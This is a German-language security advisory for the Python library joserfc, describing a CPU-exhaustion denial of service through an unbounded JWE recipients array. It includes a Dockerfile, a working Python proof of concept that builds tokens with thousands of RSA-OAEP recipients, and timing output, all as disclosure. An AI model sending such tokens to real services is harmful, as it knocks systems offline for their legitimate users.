Hoch

joserfc: Unbegrenztes JWE-General-JSON-`recipients`-Array führt zu CPU-Erschöpfung (DoS) durch wiederholte RSA-Privatschlüssel-Entschlüsselung

  • Veröffentlicht: 30.10.2026
  • Aktualisiert: 07.11.2026 10:00

Zusammenfassung

joserfc.jwe.decrypt_json(), der öffentliche Parser der Bibliothek für die JWE General JSON Serialization, akzeptiert ein vom Angreifer kontrolliertes recipients-Array unbegrenzter Länge und führt für jeden im Input enthaltenen Empfänger eine vollständige Entschlüsselungsoperation mit dem privaten Schlüssel (decrypt_cek) durch, ohne Obergrenze für die Empfängeranzahl. Ein nicht authentifizierter Angreifer über das Netzwerk, der ein JWE General JSON-Dokument an einen Endpunkt senden kann, welcher dieses mit einem RSA-Schlüssel (z. B. RSA-OAEP) entschlüsselt, kann das Zielsystem zwingen, eine beliebige, vom Angreifer gewählte Anzahl an RSA-Privatschlüssel-Entschlüsselungen über eine einzige, verhältnismäßig kleine HTTP-Anfrage auszuführen.

Dies verschafft dem Angreifer ein hochgradig asymmetrisches Primitiv zur CPU-Erschöpfung (Denial of Service): Lokale Reproduktionen zeigen, dass die Anfragedatenmenge linear mit der Empfängeranzahl wächst (~396 Bytes/Empfänger), während die serverseitige CPU-Zeit im Gleichschritt ansteigt (nahezu ein 1:1-Verhältnis zwischen Empfängeranzahl-Wachstum und Anstieg der Entschlüsselungszeit). Die einzige dokumentierte Schutzoption der Bibliothek, verify_all_recipients=False, reduziert die CPU-Kosten nicht, da die Entschlüsselungsschleife bedingungslos das decrypt_cek() jedes Empfängers abarbeitet, bevor diese Option jemals geprüft wird. Es handelt sich um CWE-400 (Unkontrollierter Ressourcenverbrauch) mit einem CVSS v3.1 Base Score von 7.5 (High).

Details

joserfc validiert und begrenzt mehrere strukturelle Elemente einer JWE (Größe des geschützten Headers, Größe des verschlüsselten Schlüssels, IV-Größe, Chiffretextgröße und Auth-Tag-Größe) innerhalb von src/joserfc/_rfc7516/registry.py, führt jedoch keinerlei Validierung bezüglich der Anzahl der Einträge im recipients-Array eines JWE General JSON Serialization-Objekts durch.

Datenfluss (Quelle → Senke), direkt verifiziert anhand des Repository-Quellcodes bei Commit 26a10275e88276184f91ae2a6409647bfac7fea5 (joserfc 1.7.4):

  1. src/joserfc/jwe.py:214 — Öffentlicher Parser-Einstiegspunkt decrypt_json(data, private_key, ...). Dies ist eine dokumentierte, an der Bibliotheksgrenze nicht authentifizierte API zum Parsen von extern bereitgestelltem JWE JSON.
  2. src/joserfc/jwe.py:238 — Ist "recipients" im Eingabe-Dict vorhanden, wird extract_general_json(...) aufgerufen.
  3. src/joserfc/_rfc7516/json.py:84-86 — Iteriert über for item in data["recipients"]: und hängt für jeden Eintrag ein Recipient-Objekt an, ohne Obergrenzenprüfung für len(data["recipients"]):
    python
    for item in data["recipients"]:
        recipient = __extract_recipient(obj, item, registry)
        obj.recipients.append(recipient)
  4. src/joserfc/jwe.py:252 — Der private Schlüssel wird jedem extrahierten Empfänger zugewiesen.
  5. src/joserfc/_rfc7516/message.py:103-112 — _perform_decrypt() durchläuft jeden Empfänger in obj.recipients und ruft decrypt_recipient(...) für jeden einzelnen auf, ungeachtet deren Anzahl:
    python
    cek_set = set()
    for recipient in obj.recipients:
        headers = recipient.headers()
        registry.check_header(headers, True)
        alg = registry.get_alg(headers["alg"])
        try:
            cek = decrypt_recipient(alg, enc, recipient, tag)
            cek_set.add(cek)
  6. src/joserfc/_rfc7518/jwe_algs.py:74-83 — Für RSA-OAEP/RSA1_5-Empfänger wird dies an die Senke weitergeleitet, eine echte RSA-Privatschlüssel-Operation:
    python
    def decrypt_cek(self, recipient: Recipient[RSAKey]) -> bytes:
        key = recipient.recipient_key
        assert key is not None
        self.check_key_type(key)
        op_key = key.get_op_key("decrypt")
        try:
            assert recipient.encrypted_key is not None
            cek = op_key.decrypt(recipient.encrypted_key, self.padding)

Bestätigt durch direkte Inspektion von src/joserfc/_rfc7516/registry.py: Größenbeschränkungen existieren für max_header_length, max_encrypted_key_length, max_iv_length, max_ciphertext_length und max_auth_tag_length (registry.py:52-62, 103-121), aber weder in registry.py, json.py noch jwe.py existiert ein max_recipients-Feld (oder eine äquivalente Prüfung).

Entscheidend ist, dass die Schleife in message.py:103-112 bedingungslos decrypt_recipient() für jeden Empfänger aufruft — dies geschieht, bevor registry.verify_all_recipients überhaupt abgefragt wird. Das Setzen von verify_all_recipients=False (der einzigen dokumentierten diesbezüglichen Option der Bibliothek) steuert daher lediglich, ob bei einem Entschlüsselungsfehler eine Exception ausgelöst wird, verringert jedoch nicht die Anzahl der durchgeführten RSA-Privatschlüssel-Operationen und mildert die CPU-Belastung somit nicht ab. Dies wurde zur Laufzeit unabhängig bestätigt (siehe PoC-Ergebnisse unten): Die Entschlüsselungszeit ist zwischen verify_all_recipients=True und verify_all_recipients=False bei gleicher Empfängeranzahl statistisch identisch.

decrypt_json() ist kein reiner Demo- oder Admin-Codepfad: Er ist in docs/guide/jwe.rst:156-182 als Standardweg zum Parsen und Entschlüsseln einer extern empfangenen General JSON JWE dokumentiert und erfordert keine spezielle oder nicht standardmäßige Konfiguration. Dies ist funktional analog zu zwei weiteren Ressourcenerschöpfungsproblemen, die in derselben Codebasis bereits behoben wurden — dem PBES2-p2c-Iterationslimit (src/joserfc/_rfc7518/jwe_algs.py:237-239) und dem JWE-Komprimierungs-„Zip-Bomb“-Größenlimit (src/joserfc/_rfc7518/jwe_zips.py:11,26-28) —, was darauf hindeutet, dass das Limit für die Empfängeranzahl bei derselben Härtungsmaßnahme schlicht übersehen wurde.

PoC

Sowohl die statische (Phase 1) als auch die dynamische, containerisierte (Phase 2) Reproduktion bestätigte die Schwachstelle am unveränderten Quellcode von joserfc 1.7.4.

Umgebungseinrichtung (Dockerfile):

dockerfile
FROM python:3.12-slim
WORKDIR /app
# Copy the exact repository source under test (unmodified).
COPY repo /app/repo
# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo
# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py
ENTRYPOINT ["python3", "/app/poc.py"]

Build und Ausführung (Quellcode wird unverändert verwendet; Container hat keinen Netzwerkzugriff):

bash
docker build -t joserfc-vuln001 -f vuln-001/Dockerfile .
docker run --rm --network none joserfc-vuln001 --recipients 1 500 1500

PoC-Logik (poc.py): Generiert ein Opfer-RSA-2048-Schlüsselpaar (entspricht dem RSA-Schlüssel, den eine Anwendung zur RSA-OAEP-JWE-Entschlüsselung verwenden würde), erstellt eine General JSON JWE (GeneralJSONEncryption), die einen kleinen Klartext mit einer vom Angreifer gewählten Anzahl n von RSA-OAEP-Empfängern kapselt (alle unter Verwendung des öffentlichen Schlüssels des Opfers, der für JWE-Verschlüsselung ohnehin öffentlich ist), ruft anschließend die unveränderte öffentliche API joserfc.jwe.decrypt_json() auf und misst die Entschlüsselungszeit, einmal mit verify_all_recipients=True und einmal mit verify_all_recipients=False.

python
def build_token(public_key, n_recipients: int) -> tuple[str, int]:
    obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
    for _ in range(n_recipients):
        obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
    token = jwe.encrypt_json(obj, None)
    size_bytes = len(json.dumps(token).encode())
    return token, size_bytes

def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
    registry = JWERegistry(verify_all_recipients=verify_all_recipients)
    t0 = time.perf_counter()
    out = jwe.decrypt_json(token, private_key, registry=registry)
    dt = time.perf_counter() - t0
    assert out.plaintext == b"hello"
    return dt

Beobachtete Ergebnisse (Phase 2, innerhalb des Docker-Containers, --network none, unveränderter Quellcode):

[*] Attacker crafts General JSON JWE with recipients=1 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.002
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=536 decrypt_seconds=0.001
[*] Attacker crafts General JSON JWE with recipients=500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.631
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=198140 decrypt_seconds=0.651
[*] Attacker crafts General JSON JWE with recipients=1500 ...
    verify_all_recipients=True  -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.874
    verify_all_recipients=False -> decrypt_json() succeeded, size_bytes=594140 decrypt_seconds=1.875
[CHECK] recipient_count_ratio=1500.0x decrypt_time_ratio=937.0x
[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied recipient with
       no upper bound, and verify_all_recipients=False did not mitigate the cost.

Unabhängige Reproduktionen in der statischen Phase (Phase 1) gegen denselben Commit außerhalb des Containers zeigten dasselbe lineare Skalierungsverhalten (Empfänger=500 → 198,140 Bytes → 0.627s; Empfänger=1500 → 594,140 Bytes → 1.957s), und der lokale Testlauf des ursprünglichen Berichts zeigte Empfänger=1000 → 396,140 Bytes → 1.254s; Empfänger=3000 → 1,188,140 Bytes → 3.762s. In jedem Durchlauf wurde plaintext=b'hello' korrekt wiederhergestellt, was bestätigt, dass jede manipulierte Anfrage eine vollkommen gültige Eingabe darstellt und nicht vorzeitig abgewiesen wird.

In allen Fällen führte verify_all_recipients=False bei gleicher Empfängeranzahl zu statistisch identischen Entschlüsselungszeiten wie verify_all_recipients=True (z. B. 500 Empfänger: 0.631s vs 0.651s; 1500 Empfänger: 1.874s vs 1.875s), was empirisch belegt, dass dieses dokumentierte Flag die CPU-Last nicht reduziert.

Auswirkungen

Dies ist eine Denial-of-Service-Schwachstelle durch CPU-Erschöpfung über das Netzwerk ohne Authentifizierung (CWE-400, Unkontrollierter Ressourcenverbrauch). Jede Anwendung ist betroffen, die:

  • einen Endpunkt (oder Nachrichtenverarbeitungspfad) bereitstellt, der JWE-Daten im General JSON Serialization-Format akzeptiert, und
  • diese mittels joserfc.jwe.decrypt_json() mit einem RSA-basierten Schlüsselverwaltungsalgorithmus (z. B. RSA-OAEP, RSA1_5) entschlüsselt.

Der Angreifer benötigt lediglich den öffentlichen RSA-Schlüssel des Opfers — welcher ohnehin öffentlich ist, da legitime Absender ihn nutzen, um JWEs für das Opfer zu verschlüsseln. Da die Anfragengröße linear mit der Empfängeranzahl skaliert (~396 Bytes pro Empfänger), während der vom Angreifer verursachte serverseitige CPU-Aufwand im Gleichschritt ansteigt, profitiert der Angreifer von einer ausgeprägten Kostenasymmetrie: So erzwang im Test eine Anfrage von rund 1.2 MB etwa 3.8 Sekunden an RSA-2048-Privatschlüssel-Entschlüsselungsoperationen. Wiederholte oder parallele Anfragen dieser Art können die verfügbare CPU-/Worker-Kapazität des Zieldienstes erschöpfen und die Verfügbarkeit für legitime Benutzer beeinträchtigen oder vollständig verhindern. Vertraulichkeit und Integrität sind nicht betroffen (es werden weder Schlüsselmaterial noch Klartext offengelegt oder beschädigt); die Auswirkung beschränkt sich auf die Verfügbarkeit, entsprechend dem CVSS-Vektor C:N/I:N/A:H.

Reproduktionsartefakte

Dockerfile

dockerfile
# VULN-001 dynamic reproduction environment
# Unbounded JWE General JSON "recipients" array causes CPU exhaustion via
# repeated RSA private-key decryption in joserfc's decrypt_json().
#
# This image builds joserfc from the local repository clone (unmodified
# source) and provides a Python environment to run poc.py against it.

FROM python:3.12-slim

WORKDIR /app

# Copy the exact repository source under test (unmodified).
COPY repo /app/repo

# Install joserfc from local source in editable/normal mode.
RUN pip install --no-cache-dir /app/repo

# Copy the PoC script.
COPY vuln-001/poc.py /app/poc.py

ENTRYPOINT ["python3", "/app/poc.py"]

poc.py

python
"""
VULN-001 dynamic PoC: Unbounded JWE General JSON "recipients" array causes
CPU exhaustion (CWE-400) via repeated RSA private-key decryption inside
joserfc's public parser API `joserfc.jwe.decrypt_json()`.

Data flow reproduced end to end (unmodified joserfc source):
  1. joserfc.jwe.decrypt_json()                         (src/joserfc/jwe.py:214)
  2. -> extract_general_json()                           (src/joserfc/_rfc7516/json.py:73)
  3. -> for item in data["recipients"]: (NO COUNT CAP)   (src/joserfc/_rfc7516/json.py:84)
  4. -> perform_decrypt() -> _perform_decrypt()          (src/joserfc/_rfc7516/message.py:93-112)
  5. -> for recipient in obj.recipients: decrypt_recipient(...) for EVERY recipient,
        regardless of registry.verify_all_recipients
  6. -> RSAAlgModel.decrypt_cek(): op_key.decrypt(...)   (src/joserfc/_rfc7518/jwe_algs.py:74-83)
     performs one real RSA-2048 private-key decrypt operation per recipient.

This script:
  (a) builds a victim RSA keypair (2048-bit, as an application would use for
      RSA-OAEP JWE decryption),
  (b) crafts a General JSON JWE token with an attacker-chosen number of
      RSA-OAEP recipients, all wrapping the SAME small ciphertext,
  (c) measures wall-clock CPU time joserfc's unmodified decrypt_json() spends
      processing the token as the recipient count grows,
  (d) shows that setting verify_all_recipients=False (the only public
      mitigation knob mentioned in the docs) does NOT reduce the CPU cost,
      because the decrypt loop in message.py always attempts every
      recipient's decrypt_cek() before that flag is ever consulted.

Deterministic PASS criteria (printed as machine-readable JSON lines):
  - decrypt_json() succeeds (returns correct plaintext) for all recipient counts.
  - decrypt_seconds scales roughly linearly with recipient count (attacker
    control over victim CPU cost, unbounded by the library).
  - decrypt_seconds for verify_all_recipients=False is statistically the same
    order of magnitude as verify_all_recipients=True for the same recipient
    count (proving the documented mitigation does not help).
"""

import argparse
import json
import time

from joserfc import jwe, jwk
from joserfc.jwe import GeneralJSONEncryption
from joserfc.jwe import JWERegistry


def build_token(public_key, n_recipients: int) -> tuple[str, int]:
    """Craft a General JSON JWE with n_recipients RSA-OAEP recipients,
    all wrapping the same small plaintext. This is exactly the shape an
    unauthenticated network attacker can send to any endpoint that calls
    jwe.decrypt_json() on external input, as documented in
    docs/guide/jwe.rst."""
    obj = GeneralJSONEncryption({"enc": "A128GCM"}, b"hello")
    for _ in range(n_recipients):
        obj.add_recipient({"alg": "RSA-OAEP"}, public_key)
    token = jwe.encrypt_json(obj, None)
    size_bytes = len(json.dumps(token).encode())
    return token, size_bytes


def measure_decrypt(token, private_key, verify_all_recipients: bool) -> float:
    registry = JWERegistry(verify_all_recipients=verify_all_recipients)
    t0 = time.perf_counter()
    out = jwe.decrypt_json(token, private_key, registry=registry)
    dt = time.perf_counter() - t0
    assert out.plaintext == b"hello", f"unexpected plaintext: {out.plaintext!r}"
    return dt


def main():
    parser = argparse.ArgumentParser(description="VULN-001 dynamic reproduction PoC")
    parser.add_argument(
        "--recipients",
        type=int,
        nargs="+",
        default=[1, 500, 1500],
        help="Recipient counts to test (attacker-controlled array length).",
    )
    parser.add_argument(
        "--key-bits",
        type=int,
        default=2048,
        help="RSA key size of the victim's decryption key.",
    )
    args = parser.parse_args()

    print(f"[*] Generating victim RSA-{args.key_bits} keypair (RSA-OAEP JWE key)...")
    private_key = jwk.RSAKey.generate_key(args.key_bits)
    public_key = jwk.RSAKey.import_key(private_key.as_dict(private=False))
    print("[*] Victim private key generated locally; public key is what an attacker would normally have.")

    results = []
    for n in args.recipients:
        print(f"\n[*] Attacker crafts General JSON JWE with recipients={n} ...")
        token, size_bytes = build_token(public_key, n)

        dt_verify_true = measure_decrypt(token, private_key, verify_all_recipients=True)
        print(
            f"    verify_all_recipients=True  -> decrypt_json() succeeded, "
            f"size_bytes={size_bytes} decrypt_seconds={dt_verify_true:.3f}"
        )

        dt_verify_false = measure_decrypt(token, private_key, verify_all_recipients=False)
        print(
            f"    verify_all_recipients=False -> decrypt_json() succeeded, "
            f"size_bytes={size_bytes} decrypt_seconds={dt_verify_false:.3f} "
            f"(documented 'mitigation' does NOT reduce CPU cost)"
        )

        results.append(
            {
                "recipients": n,
                "size_bytes": size_bytes,
                "decrypt_seconds_verify_all_true": round(dt_verify_true, 3),
                "decrypt_seconds_verify_all_false": round(dt_verify_false, 3),
            }
        )

    print("\n[RESULT_JSON] " + json.dumps(results))

    # Deterministic scaling check: CPU time for the largest recipient count
    # must be substantially larger (order of magnitude, not noise) than for
    # the smallest, proving attacker control over victim CPU consumption.
    baseline = results[0]["decrypt_seconds_verify_all_true"]
    worst = results[-1]["decrypt_seconds_verify_all_true"]
    ratio = worst / baseline if baseline > 0 else float("inf")
    recipient_ratio = results[-1]["recipients"] / results[0]["recipients"]
    print(
        f"[CHECK] recipient_count_ratio={recipient_ratio:.1f}x "
        f"decrypt_time_ratio={ratio:.1f}x "
        f"(unbounded recipients => unbounded RSA-decrypt CPU cost, no cap in registry.py)"
    )

    if ratio < recipient_ratio * 0.3:
        print("[FAIL] Decrypt time did not scale with recipient count as expected.")
        raise SystemExit(1)

    print("[PASS] decrypt_json() performed one RSA private-key decrypt per attacker-supplied "
          "recipient with no upper bound, and verify_all_recipients=False did not mitigate the cost.")


if __name__ == "__main__":
    main()

Was zu tun ist

Aktualisieren Sie joserfc auf Version 1.7.5 oder höher.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) joserfc < 1.7.5 1.7.5

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-400
Plattform
Python (PyPI)
Paket
joserfc
Veröffentlicht
30.10.2026
Aktualisiert
07.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-jpxq-7h8p-2q76 - CC BY 4.0

Schwachstellenhistorie: joserfc

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
6
Erste → letzte
11.2025 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 3
  • Mittel 2

Veröffentlichungen pro Jahr

  1. 2025: 1
  2. 2026: 5
  1. joserfc: Unbegrenztes JWE-General-JSON-`recipients`-Array führt zu CPU-Erschöpfung (DoS) durch wiederholte RSA-Privatschlüssel-Entschlüsselung dieser Eintrag
    Hoch · 7.5 CVE-2026-119283 < 1.7.5 1.7.5

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.